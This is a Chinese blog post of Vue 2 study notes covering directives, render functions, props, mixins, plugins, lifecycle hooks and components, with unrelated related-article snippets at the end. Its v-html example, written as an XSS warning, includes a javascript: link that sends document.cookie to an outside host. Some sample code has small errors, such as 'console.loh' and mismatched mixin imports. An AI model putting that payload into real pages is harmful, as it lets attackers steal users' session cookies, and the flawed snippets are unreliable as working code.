D28 Vue2 + Vue3 K44-K63

news/2025/3/31 17:11:46/

D28.Vue

 F7.内置指令 + 自定义指令(K44-K49)

     之前学过的指令:

v-bind 单向绑定解析表达式,可简写为**:**
v-model 双向数据绑定
v-for 遍历数组 / 对象 / 字符串
v-on 绑定事件监听,可简写为**@**
v-show 条件渲染 (动态控制节点是否展示)
v-if 条件渲染(动态控制节点是否存存在)
v-else-if 条件渲染(动态控制节点是否存存在)
v-else 条件渲染(动态控制节点是否存存在)

  A.内置指令
xv-text 指令
   1)v-text指令:(使用的比较少)
     作用:向其所在的节点中渲染文本内容
     与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会

<!-- 准备好一个容器-->
<div id="root"><div>你好,{{name}}</div><div v-text="name"></div><div v-text="str"></div>
</div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'张三',str:'<h3>你好啊!</h3>'}})
</script>

  2.v-html 指令
   1)v-html指令:(使用的很少)
     作用:向指定节点中渲染包含html结构的内容
     与插值语法的区别:

  • v-html会替换掉节点中所有的内容,{{xx}}则不会
  • v-html可以识别html结构
  •      严重注意:v-html有安全性问题!

  • 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
  • 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
  • <!-- 准备好一个容器-->
    <div id="root"><div>你好,{{name}}</div><div v-html="str"></div><div v-html="str2"></div>
    </div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'张三',str:'<h3>你好啊!</h3>',str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>我系渣渣辉,系兄弟就来砍我</a>',}})
    </script>
    

      3.v-cloak 指令
       1)v-cloak指令(没有值):
         本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
         使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

    <style>[v-cloak]{display:none;}
    </style>
    <!-- 准备好一个容器-->
    <div id="root"><h2 v-cloak>{{name}}</h2>
    </div>
    <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script><script type="text/javascript">console.log(1)Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{name:'尚硅谷'}})
    </script>
    

      4.v-once 指令
       1)v-once指令:(用的少)
         v-once所在节点在初次动态渲染后,就视为静态内容了
         以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

    <!-- 准备好一个容器-->
    <div id="root"><h2 v-once>初始化的n值是:{{ n }}</h2><h2>当前的n值是:{{ n }}</h2><button @click="n++">点我n+1</button>
    </div><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{n:1}})
    </script>
    

    在这里插入图片描述

      5.v-pre 指令
       1)v-pre指令:
         跳过其所在节点的编译过程
         可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译

    <div id="root"><h2 v-pre>Vue其实很简单</h2><h2 >当前的n值是:{{n}}</h2><button @click="n++">点我n+1</button>
    </div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({ el:'#root', data:{n:1} })
    </script>
    

         Django中模板语法也是{{}},使用这个是防止冲突
      2.自定义指令
       1)directives
         记住这里面就是操作Dom的
        需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
        需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
          语法:
          局部指令:

    new Vue({															directives:{ 指令名:配置对象 }   
    })new Vue({															directives:{ 指令名:回调函数 }   
    })
    

          全局指令:

    Vue.directive(指令名, 配置对象)
    或
    Vue.directive(指令名, 回调函数)Vue.directive('fbind', {// 指令与元素成功绑定时(一上来)bind(element, binding) {	// element就是DOM元素,binding就是要绑定的element.value = binding.value},// 指令所在元素被插入页面时inserted(element, binding) {element.focus()},// 指令所在的模板被重新解析时(data数据改变导致模板重新解析)update(element, binding) {element.value = binding.value}
    })
    

       2)配置对象中常用的3个回调:
        a. bind:指令与元素成功绑定时调用
        b. inserted:指令所在元素被插入页面时调用
        c. update:指令所在模板结构被重新解析时调用
       3)element就是DOM元素,binding就是要绑定的对象,它包含以下属性:name、value、oldValue、expression、arg、modifiers
         注:
        a. 指令定义时不加v-,但使用时要加v-
        b. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名

    new Vue({el: '#root',data: {n:1},directives: {'big-number'(element,binding) {element.innerText = binding.value * 10}}
    })
    

       4)定义全局指令

    <!-- 准备好一个容器-->
    <div id="root"><input type="text" v-fbind:value="n">
    </div><script type="text/javascript">Vue.config.productionTip = false//定义全局指令Vue.directive('fbind', {// 指令与元素成功绑定时(一上来)bind(element, binding){element.value = binding.value},// 指令所在元素被插入页面时inserted(element, binding){element.focus()},// 指令所在的模板被重新解析时update(element, binding){element.value = binding.value}})new Vue({el:'#root',data:{name: '尚硅谷',n: 1}})</script>
    

       5)局部指令

    <title>自定义指令</title>
    <script type="text/javascript" src="../js/vue.js"></script><div id="root"><h2>{{ name }}</h2><h2>当前的n值是:<span v-text="n"></span> </h2><!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> --><h2>放大10倍后的n值是:<span v-big="n"></span> </h2><button @click="n++">点我n+1</button><hr /><input type="text" v-fbind:value="n">
    </div><script type="text/javascript">Vue.config.productionTip = false// 定义全局指令/* Vue.directive('fbind',{// 指令与元素成功绑定时(一上来)bind(element,binding){element.value = binding.value},// 指令所在元素被插入页面时inserted(element,binding){element.focus()},// 指令所在的模板被重新解析时update(element,binding){element.value = binding.value}}) */new Vue({el: '#root',data: {name: '尚硅谷',n: 1},directives: {// big函数何时会被调用?// 1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时/* 'big-number'(element,binding){// console.log('big')element.innerText = binding.value * 10}, */big(element, binding) {console.log('big', this) // !注意此处的 this 是 window// console.log('big')element.innerText = binding.value * 10},fbind: {// 指令与元素成功绑定时(一上来)bind(element, binding) {element.value = binding.value},// 指令所在元素被插入页面时inserted(element, binding) {element.focus()},// 指令所在的模板被重新解析时update(element, binding) {element.value = binding.value}}}})
    </script>
    

     F8.部分函数 + Vue零碎的一些知识(K50-K56)

      1.函数
       1)render函数
         使用 import 导入第三方库的时候不需要 加 ‘./’
         导入我们自己写的:

    import App from './App.vue'
    

         导入第三方的

    import Vue from 'vue'
    

         不需要在 from ‘vue’ 加 ‘./’ 的原因是第三方库 node_modules 人家帮我们配置好了
         我们通过 import 导入第三方库,在第三方库的 package.json 文件中确定了我们引入的是哪个文件
         通过 module 确定了我们要引入的文件
         备注:这是ESM默认导入的文件,CommonJS默认导入mian中路径的文件
         回到 render 函数
         之前的写法是这样:

    import App from './App.vue'new Vue({el:'#root',template:`<App></App>`,components:{App},
    })
    

         如果这样子写,运行的话会引发如下的报错

    在这里插入图片描述
         报错的意思是,是在使用运行版本的 vue ,没有模板解析器
         从上面的小知识可以知道,我们引入的 vue 不是完整版的,是残缺的(为了减小vue的大小)。所以残缺的vue.js 只有通过 render 函数才能把项目给跑起来
        a. 来解析一下render

    // render最原始写的方式
    // render是个函数,还能接收到参数a
    // 这个 createElement 很关键,是个回调函数
    new Vue({render(createElement) {// 这个 createElement 回调函数能创建元素// 因为残缺的vue 不能解析 template,所以render就来帮忙解决这个问题// createElement 能创建具体的元素return createElement('h1', 'hello')}
    }).$mount('#app')
    

       2)关于不同版本的函数
         来个不同版本 vue 的区别
        a. vue.js与vue.runtime.xxx.js的区别:
          vue.js是完整版的Vue,包含:核心功能+模板解析器
          vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。esm 就是 ES6 module
        b. 因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容
       3)vue.config.js 配置文件
         vue inspect > output.js可以查看到Vue脚手架的默认配置
         使用vue.config.js可以对脚手架进行个性化定制,和package.json同级目录

    module.exports = {pages: {index: {entry: 'src/index/main.js' // 入口}},lineOnSave: false	// 关闭语法检查
    }
    

      2.vue 零碎的一些知识
      A.ref属性
         被用来给元素或子组件注册引用信息(id的替代者)
         应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象vc
         使用方式:
         打标识:< h1 ref=“xxx”>…< /h1> 或
         获取:this.$refs.xxx

    <template><div><h1 v-text="msg" ref="title"></h1><button ref="btn" @click="showDOM">点我输出上方的DOM元素</button><School ref="sch"/></div>
    </template><script>import School from './components/School'export default {name:'App',components:{ School },data() {return {msg:'欢迎学习Vue!'}},methods: {showDOM(){console.log(this.$refs.title)	// 真实DOM元素console.log(this.$refs.btn)		// 真实DOM元素console.log(this.$refs.sch)		// School组件的实例对象(vc)}},}
    </script>
    

    在这里插入图片描述
      B.props 配置项
       1)功能:让组件接收外部传过来的数据
       2)传递数据:这里age前加:,通过v-bind使得里面的18是数字
       3)接收数据:
         第一种方式(只接收):props:[‘name’]
         第二种方式(限制类型):props:{name:String, age:Number}
         第三种方式(限制类型、限制必要性、指定默认值)

    props:{name:{type:String, //类型required:true, //必要性default:'老王' //默认值}
    }
    

        注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据
       4)vue props传Array/Object类型值,子组件报错解决办法
    在这里插入图片描述

         其实看错误信息也就知道了,就是Props在传值类型为Object/Array时,如果需要配置default值(如果没有配置default值,则不会有这个报错),那必须要使用函数来return这个default值,而不能像基本数据类型那样直接写default:xxx

    //错误写法
    props: {rlist: {type:Array,default: [1, 2, 3, 4, 5]}
    }
    

         解决方法

    //正确写法
    props: {rlist: {type:Array,default: function() {return [1, 2, 3, 4, 5]}}
    }
    //当然,我们可以使用箭头函数来写,还显得简单很多
    props: {rlist: {type:Array,default: () => [1, 2, 3, 4, 5]}
    }
    

       5)示例代码:父组件给子组件传数据
         App.vue

    <template><div><Student name="李四" sex="" :age="18"/><Student name="王五" sex="" :age="18"/></div>
    </template><script>import Student from './components/Student'export default {name:'App',components:{ Student }}
    </script>
    

         School.vue

    <template><div><h1>{{ msg }}</h1><h2>学生姓名:{{ name }}</h2><h2>学生性别:{{ sex }}</h2><h2>学生年龄:{{ myAge + 1 }}</h2><button @click="updateAge">尝试修改收到的年龄</button></div>
    </template><script>
    export default {name: "Student",data() {console.log(this);return {msg: "我是一个bilibili大学的学生",myAge: this.age,};},methods: { updateAge() { this.myAge++; }, },// 简单声明接收// props:['name','age','sex']// 接收的同时对数据进行类型限制//   props: {//     name: String,//     age: Number,//     sex: String,//   }// 接收的同时对数据:进行类型限制+默认值的指定+必要性的限制props: {name: {type: String, 	//name的类型是字符串required: true, //name是必要的},age: {type: Number,default: 99, //默认值},sex: {type: String,required: true,},},
    };
    </script>
    

      C.mixin混入
       1)混入 (mixin) 提供了一种非常灵活的方式,来分发 Vue 组件中的可复用功能。一个混入对象可以包含任意组件选项。当组件使用混入对象时,所有混入对象的选项将被“混合”进入该组件本身的选项
         功能:可以把多个组件共用的配置提取成一个混入对象

    const mixin = {data() {....},methods: {....}....
    }
    

       2)使用混入
         全局混入Vue.mixin(xxx)
         局部混入mixins:[‘xxx’]
       3)局部混入
         src/mixin.js

    export const hunhe = {methods: {showName(){alert(this.name)}},mounted() {console.log('你好啊!')},
    }export const hunhe2 = {data() {return {x:100,y:200}},
    }
    

         src/components/School.vue

    <template><div><h2 @click="showName">学校名称:{{name}}</h2><h2>学校地址:{{address}}</h2></div>
    </template><script>//引入一个hunheimport {hunhe,hunhe2} from '../mixin'export default {name:'School',data() {return {name:'尚硅谷',address:'北京',x:666}},mixins:[hunhe,hunhe2]	// 局部混入}
    </script>
    

         src/components/Student.vue

    <template><div><h2 @click="showName">学生姓名:{{name}}</h2><h2>学生性别:{{sex}}</h2></div>
    </template><script>import {hunhe,hunhe2} from '../mixin'export default {name:'Student',data() {return {name:'张三',sex:'男'}},mixins:[hunhe,hunhe2]	// 局部混入}
    </script>
    

       4)全局混入
         src/main.js

    import Vue from 'vue'
    import App from './App.vue'
    import {mixin} from './mixin'Vue.config.productionTip = false
    Vue.mixin(hunhe)		// 全局混合引入
    Vue.mixin(hunhe2)	// 全局混合new Vue({el:"#app",render: h => h(App)
    })
    

         这样所有组件就自动使用这些配置了,不推荐使用全局混入
         注:1组件和混入对象含有同名选项时,这些选项将以恰当的方式进行“合并”,在发生冲突时以组件优先

    var mixin = {data: function () {return {message: 'hello',foo: 'abc'}}
    }new Vue({mixins: [mixin],data () {return {message: 'goodbye',bar: 'def'}},created () {console.log(this.$data)// => { message: "goodbye", foo: "abc", bar: "def" }}
    })
    

         注:2同名生命周期钩子将合并为一个数组,因此都将被调用。另外,混入对象的钩子将在组件自身钩子之前调用

    var mixin = {created () {console.log('混入对象的钩子被调用')}
    }new Vue({mixins: [mixin],created () {console.log('组件钩子被调用')}
    })// => "混入对象的钩子被调用"
    // => "组件钩子被调用"
    

      D.plugin 插件
         功能:用于增强Vue 2.本质:包含install方法的一个对象,install的第一个参数是Vue构造函数,第二个以后的参数是插件使用者传递的数据 3.定义插件(见下 src/plugin.js) 4.使用插件:Vue.use()
         Vue.use执行之后,会自动调用install方法,所有组件就可以使用里面定义的东西
         src/plugin.js

    export default {install(Vue,x,y,z){console.log(x,y,z)//定义全局指令Vue.directive('fbind',{//指令与元素成功绑定时(一上来)bind(element,binding){element.value = binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value = binding.value}})//定义混入Vue.mixin({data() {return {x:100,y:200}},})//给Vue原型上添加一个方法(vm和vc就都能用了)Vue.prototype.hello = ()=>{alert('你好啊')}}
    }
    

         src/main.js

    import Vue from 'vue'
    import App from './App.vue'
    import plugins from './plugins'	// 引入插件Vue.config.productionTip = falseVue.use(plugins,1,2,3)	// 应用(使用)插件new Vue({el:'#app',render: h => h(App)
    })
    

         src/components/School.vue

    <template><div><h2>学校名称:{{ name | mySlice }}</h2><h2>学校地址:{{ address }}</h2><button @click="test">点我测试一个hello方法</button></div>
    </template><script>export default {name:'School',data() {return {name:'尚硅谷atguigu',address:'北京',}},methods: {test(){this.hello()}},}
    </script>
    

         src/components/Student.vue

    <template><div><h2>学生姓名:{{ name }}</h2><h2>学生性别:{{ sex }}</h2><input type="text" v-fbind:value="name"></div>
    </template><script>export default {name:'Student',data() {return {name:'张三',sex:'男'}},}
    </script>
    

      E.scoped
       1)scoped样式
         作用:让样式在局部生效,防止冲突
         写法:< style scoped>
        具体案例:

    <style lang="less" scoped>.demo{background-color: pink;.atguigu{font-size: 40px;}}
    </style>
    

     F9.生命周期 + 组件(K57-K63)

      1.生命周期
       1)引出生命周期
          又名生命周期回调函数、生命周期函数、生命周期钩子
          是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
          生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
          生命周期函数中的this 指向是vm或组件实例对象

    <div id="root"><h2 v-if="a">你好啊</h2><h2 :style="{opacity}">看笔记学Vue</h2>
    </div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el: '#root',data: {a: false,opacity: 1},methods: {},// Vue 完成模板的解析并把初始的真实 DOM 元素放入页面后(挂载完毕)调用 mountedmounted() {console.log('mounted', this)setInterval(() => {this.opacity -= 0.01if(this.opacity <= 0) this.opacity = 1}, 16)},})// 通过外部的定时器实现(不推荐)// setInterval(() => {// 		vm.opacity -= 0.01// 		if(vm.opacity <= 0) vm.opacity = 1// },16)
    </script>
    

    在这里插入图片描述

       2)分析生命周期

    在这里插入图片描述

    <title>分析生命周期</title><script type="text/javascript" src="../js/vue.js"></script><div id="root" :x="n"><h2 v-text="n"></h2><h2>当前的n值是:{{ n }}</h2><button @click="add">点我n+1</button><button @click="bye">点我销毁vm</button></div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el: '#root',// template:`// 	<div>// 		<h2>当前的n值是:{{n}}</h2>// 		<button @click="add">点我n+1</button>// 	</div>// `,data: {n: 1},methods: {add() { console.log('add')this.n++},bye() {console.log('bye')this.$destroy()}},watch: {n() {console.log('n变了')}},beforeCreate() {console.log('beforeCreate')},created() {console.log('created')},beforeMount() {console.log('beforeMount')},mounted() {console.log('mounted')},beforeUpdate() {console.log('beforeUpdate')},updated() {console.log('updated')},beforeDestroy() {console.log('beforeDestroy')},destroyed() {console.log('destroyed')},})
    </script>
    

         来讲一下图中间大框框的内容
    在这里插入图片描述
          先判断有没有 el 这个配置项,没有就调用 vm.$mount(el),如果两个都没有就一直卡着,显示的界面就是最原始的容器的界面。有el这个配置项,就进行判断有没有template这个配置项,没有 template 就将el绑定的容器编译为 vue 模板,来个对比图
          没编译前的:
    在这里插入图片描述

          编译后:
    在这里插入图片描述

        template 的作用
          第一种情况,有 template:
          如果 el 绑定的容器没有任何内容,就一个空壳子,但在 Vue 实例中写了 template,就会编译解析这个 template 里的内容,生成虚拟 DOM,最后将 虚拟 DOM 转为 真实 DOM 插入页面(其实就可以理解为 template 替代了 el 绑定的容器的内容)
          第二种情况,没有 template:
          没有 template,就编译解析 el 绑定的容器,生成虚拟 DOM,后面就顺着生命周期执行下去
       3)总结生命周期
        a. beforeCreate(创建前):数据监测(getter和setter)和初始化事件还未开始,此时 data 的响应式追踪、event/watcher 都还没有被设置,也就是说不能访问到data、computed、watch、methods上的方法和数据
        b. created(创建后):实例创建完成,实例上配置的 options 包括 data、computed、watch、methods 等都配置完成,但是此时渲染得节点还未挂载到 DOM,所以不能访问到 $ el属性
        c. beforeMount(挂载前):在挂载开始之前被调用,相关的render函数首次被调用。此阶段Vue开始解析模板,生成虚拟DOM存在内存中,还没有把虚拟DOM转换成真实DOM,插入页面中。所以网页不能显示解析好的内容
        d. mounted(挂载后):在el被新创建的 vm.$el(就是真实DOM的拷贝)替换,并挂载到实例上去之后调用(将内存中的虚拟DOM转为真实DOM,真实DOM插入页面)。此时页面中呈现的是经过Vue编译的DOM,这时在这个钩子函数中对DOM的操作可以有效,但要尽量避免。一般在这个阶段进行:开启定时器,发送网络请求,订阅消息,绑定自定义事件等等
        e. beforeUpdate(更新前):响应式数据更新时调用,此时虽然响应式数据更新了,但是对应的真实 DOM 还没有被渲染(数据是新的,但页面是旧的,页面和数据没保持同步)
        f. updated(更新后) :在由于数据更改导致的虚拟DOM重新渲染和打补丁之后调用。此时 DOM 已经根据响应式数据的变化更新了。调用时,组件 DOM已经更新,所以可以执行依赖于DOM的操作。然而在大多数情况下,应该避免在此期间更改状态,因为这可能会导致更新无限循环。该钩子在服务器端渲染期间不被调用
        g. beforeDestroy(销毁前):实例销毁之前调用。这一步,实例仍然完全可用,this 仍能获取到实例。在这个阶段一般进行关闭定时器,取消订阅消息,解绑自定义事件
        h. destroyed(销毁后):实例销毁后调用,调用后,Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。该钩子在服务端渲染期间不被调用
         常用的生命周期钩子:

  • mounted发送ajax请求、启动定时器、绑定自定义事件、订阅消息等初始化操作
  • beforeDestroy清除定时器、解绑自定义事件、取消订阅消息等收尾工作
  •      关于销毁Vue实例

  • 销毁后借助Vue开发者工具看不到任何信息
  • 销毁后自定义事件会失效,但原生DOM事件依然有效
  • 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了
  • <div id="root"><h2 :style="{opacity}">欢迎学习Vue</h2><button @click="opacity = 1">透明度设置为1</button><button @click="stop">点我停止变换</button>
    </div><script type="text/javascript">Vue.config.productionTip = falsenew Vue({el: '#root',data: {opacity: 1},methods: {stop() {//摧毁整个Vue实例,直接停掉还能通过别人方法修改,使用这个就是完全摧毁this.$destroy()}},// Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mountedmounted() {console.log('mounted', this)this.timer = setInterval(() => {console.log('setInterval')this.opacity -= 0.01if (this.opacity <= 0) this.opacity = 1}, 16)},beforeDestroy() {clearInterval(this.timer)console.log('vm即将驾鹤西游了')},})
    </script>
    

      2.组件
      A.模块与组件、模块化与组件化
        a. 模块
          理解:向外提供特定功能的 js 程序,一般就是一个 js 文件
          为什么:js 文件很多很复杂
          作用:复用、简化 js 的编写,提高 js 运行效率
        b. 组件
          定义:用来实现局部功能的代码和资源的集合(html/css/js/image…)
          为什么:一个界面的功能很复杂
          作用:复用编码,简化项目编码,提高运行效率
          模块化 当应用中的 js 都以模块来编写的,那这个应用就是一个模块化的应用 组件化 当应用中的功能都是多组件的方式来编写的,那这个应用就是一个组件化的应用
      B.非单文件组件
         非单文件组件:一个文件中包含有 n 个组件 单文件组件:一个文件中只包含有 1 个组件
       1)基本使用
         Vue中使用组件的三大步骤:

  • 定义组件(创建组件)
  • 注册组件
  • 使用组件(写组件标签)
  •     定义组件
          使用**Vue.extend(options)**创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
        区别如下:

  • el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器
  • data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系
  •     讲解一下面试小问题:data必须写成函数:

          这是js底层设计的原因:举个例子
          对象形式

    let data = {a: 99,b: 100
    }let x = data;
    let y = data;
    // x 和 y 引用的都是同一个对象,修改 x 的值, y 的值也会改变
    x.a = 66;
    console.loh(x); // a:66 b:100
    console.log(y); // a:66 b:100
    

          函数形式

    function data() {return {a: 99,b: 100}
    }
    let x = data();
    let y = data();
    console.log(x === y); // false
    // 我的理解是函数每调用一次就创建一个新的对象返回给他们
    

          备注:使用template可以配置组件结构
         创建一个组件案例:Vue.extend() 创建

    <script type="text/javascript">Vue.config.productionTip = false//第一步:创建school组件const school = Vue.extend({template:`<div class="demo"><h2>学校名称:{{schoolName}}</h2><h2>学校地址:{{address}}</h2><button @click="showName">点我提示学校名</button>	</div>`,// el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。data(){return {schoolName:'尚硅谷',address:'北京昌平'}},methods: {showName(){alert(this.schoolName)}},})//第一步:创建student组件const student = Vue.extend({template:`<div><h2>学生姓名:{{studentName}}</h2><h2>学生年龄:{{age}}</h2></div>`,data(){return {studentName:'张三',age:18}}})//第一步:创建hello组件const hello = Vue.extend({template:`<div>	<h2>你好啊!{{name}}</h2></div>`,data(){return {name:'Tom'}}})
    </script>
    

       2)注册组件

  • 局部注册:靠new Vue的时候传入components选项
  • 全局注册:靠Vue.component('组件名',组件)
  •      局部注册(只有注册了那个组件的才能使用)
    <script>//创建vmnew Vue({el: '#root',data: {msg:'你好啊!'},//第二步:注册组件(局部注册)components: {//左边才是组件名school: school,student: student// ES6简写形式// school,// student}})
    </script>
    

         全局注册(所有的都可以使用)

    <script>//第二步:全局注册组件Vue.component('hello', hello)
    </script>
    

       3)使用组件

    <!-- 准备好一个容器-->
    <div id="root"><hello></hello><hr><h1>{{msg}}</h1><hr><!-- 第三步:编写组件标签 --><school></school><hr><!-- 第三步:编写组件标签 --><student></student>
    </div>
    

       4)组件注意事项
         关于组件名:
         一个单词组成:

  • 第一种写法(首字母小写):school
  • 第二种写法**(首字母大写)**:School(推荐)
  •      多个单词组成:

  • 第一种写法**(kebab-case命名)**:my-school
  • 第二种写法**(CamelCase命名)**:MySchool (需要Vue脚手架支持)(推荐)
  •     注:
          组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行
          可以使用name配置项指定组件在开发者工具中呈现的名字
         关于组件标签:
          < school>< /school>
          第二种写法:< school/>
          注:不用使用脚手架时,会导致后续组件不能渲染
         一个简写方式:

    const school = Vue.extend(options) 可简写为:const school = options
    
    	<div id="root"><h2>{{msg}}</h2><school></school></div><script type="text/javascript">Vue.config.productionTip = false//定义组件const school = Vue.extend({name: 'atguigu', // 组件给自己起个名字,用于在浏览器开发工具上显示template: `<div><h3>学校名称:{{name}}</h3>	<h3>学校地址:{{address}}</h3>	</div>`,data() {return {name: 'dselegent',address: '长沙'}}})new Vue({el: '#root',data: {msg: '欢迎学习Vue!'},components: {school}})
    </script>
    

       5)组件的嵌套

    <div id="root"></div><script type="text/javascript">Vue.config.productionTip = false//定义student组件const student = Vue.extend({name: 'student',template: `<div><h4>学生姓名:{{name}}</h4>	<h4>学生年龄:{{age}}</h4>	</div>`,data() {return {name: '尚硅谷',age: 18}}})//定义school组件const school = Vue.extend({name: 'school',template: `<div><h3>学校名称:{{name}}</h3>	<h3>学校地址:{{address}}</h3>	<student></student></div>`,data() {return {name: '尚硅谷',address: '北京'}},//注册组件(局部)components: { student }})//定义hello组件const hello = Vue.extend({template: `<h3>{{msg}}</h3>`,data() {return {msg: '欢迎来到尚硅谷学习!'}}})//定义app组件const app = Vue.extend({template: `<div>	<hello></hello><school></school></div>`,components: { school, hello }})//创建vmnew Vue({el: '#root',template: '<app></app>',//注册组件(局部)components: { app }})
    </script>
    

       6)VueComponent

  • school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的
  • 我们只需要写``或``,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:`new VueComponent(options)`
  • 特别注意:每次调用`Vue.extend`,返回的都是一个全新的`VueComponent`,即不同组件是不同的对象
  • 关于this指向:
  •       组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是VueComponent实例对象
          new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是Vue实例对象

  • VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。Vue的实例对象,以后简称vm
  • <div id="root"><school></school><hello></hello>
    </div><script type="text/javascript">Vue.config.productionTip = false// 定义school组件const school = Vue.extend({name: 'school',template: `<div><h2>学校名称:{{name}}</h2>	<h2>学校地址:{{address}}</h2>	<button @click="showName">点我提示学校名</button></div>`,data() {return {name: '尚硅谷',address: '北京'}},methods: {showName() {console.log('showName', this)}},})const test = Vue.extend({template: `<span>atguigu</span>`})// 定义hello组件const hello = Vue.extend({template: `<div><h2>{{msg}}</h2><test></test>	</div>`,data() {return {msg: '你好啊!'}},components: { test }})// console.log('@',school)// console.log('#',hello)// 创建vmconst vm = new Vue({el: '#root',components: { school, hello }})
    </script>
    

       7)一个重要的内置关系
         一个重要的内置关系:VueComponent.prototype.proto === Vue.prototype
         为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法
          例:main.js中Vue.prototype.Axios = Axios;
          组件xxx.vue中this.Axios({});
      B.单文件组件
       1)单文件组件就是将一个组件的代码写在 .vue 这种格式的文件中,webpack 会将 .vue 文件解析成 html,css,js这些形式
         来做个单文件组件的案例:
        a. School.vue

    <template><div class="demo"><h2>学校名称:{{name}}</h2><h2>学校地址:{{address}}</h2><button @click="showName">点我提示学校名</button>	</div>
    </template><script>export default {name:'School',data(){return {name:'尚硅谷',address:'北京昌平'}},methods: {showName(){alert(this.name)}},}//上面是下面的精简版const school = Vue.extend({name:'School',data(){return {name:'尚硅谷',address:'北京昌平'}},methods: {showName(){alert(this.name)}},})export default school;
    </script><style>.demo{background-color: orange;}
    </style>
    

        b. Student.vue

    <template><div><h2>学生姓名:{{name}}</h2><h2>学生年龄:{{age}}</h2></div>
    </template><script>export default {name:'Student',data(){return {name:'张三',age:18}}}
    </script>
    

        c. App.vue
          用来汇总所有的组件(大总管)

    <template><div><School></School><Student></Student></div>
    </template><script>//引入组件import School from './School.vue'import Student from './Student.vue'export default {name:'App',components:{School,Student}}
    </script>
    

        d. main.js
          在这个文件里面创建 vue 实例

    在这个文件里面创建 vue 实例
    

        e. index.html
          在这写 vue 要绑定的容器

    <!DOCTYPE html>
    <html><head><meta charset="UTF-8" /><title>练习一下单文件组件的语法</title></head><body><!-- 准备一个容器 --><div id="root"></div><script type="text/javascript" src="../js/vue.js"></script><script type="text/javascript" src="./main.js"></script></body>
    </html>
    
文章来源:https://blog.csdn.net/intmain404/article/details/128941924
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ppmy.cn/news/597186.html

相关文章

SLE46C-40.K44P-M12单光速安全传感器

SLE46C-40.K44P-M12单光速安全传感器 供电电压 UB24 V, DC, -20 ... 20 %, 包括剩余波纹度 剩余波纹度10 %, 来自UB 开路电流0 ... 15 mA 输出 数字开关量输出数2 光束 开关量输出 最小开关电压高22 V 最大开关电压低2 V 典型开关电压23 V 电压类型DC 最大开关电流100 mA 开关…

Springboot毕设项目扶贫管理系统p8k44(java+VUE+Mybatis+Maven+Mysql)

Springboot毕设项目扶贫管理系统p8k44&#xff08;javaVUEMybatisMavenMysql&#xff09; 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#x…

Selenium教程__界面的刷新、后退、前进操作(4)

本文将介绍如何使用Selenium来实现界面的刷新、后退和前进操作&#xff0c;以便于测试、开发人员能够更好地控制和管理用户界面的交互行为。 通过学习本文内容&#xff0c;您将能够掌握Selenium中相关API的使用方法&#xff0c;并能够灵活地应用到您的项目中&#xff0c;从而提…

ubuntu板卡串口(TTL、RS232)通信性能测试(python)

一、通信速率测试 1、利用串口线连接板卡和串口调试软件 2、选择不同大小的数据包,打开文件并发送 3、记录发送开始到发送完成所用时间 4、速率=数据包大小/时间 二、丢包率测试 2.1测试步骤 1、利用串口线连接板卡和PC机 2、编写python测试脚本并运行,python脚本功能…

美图秀秀一寸照片的制作

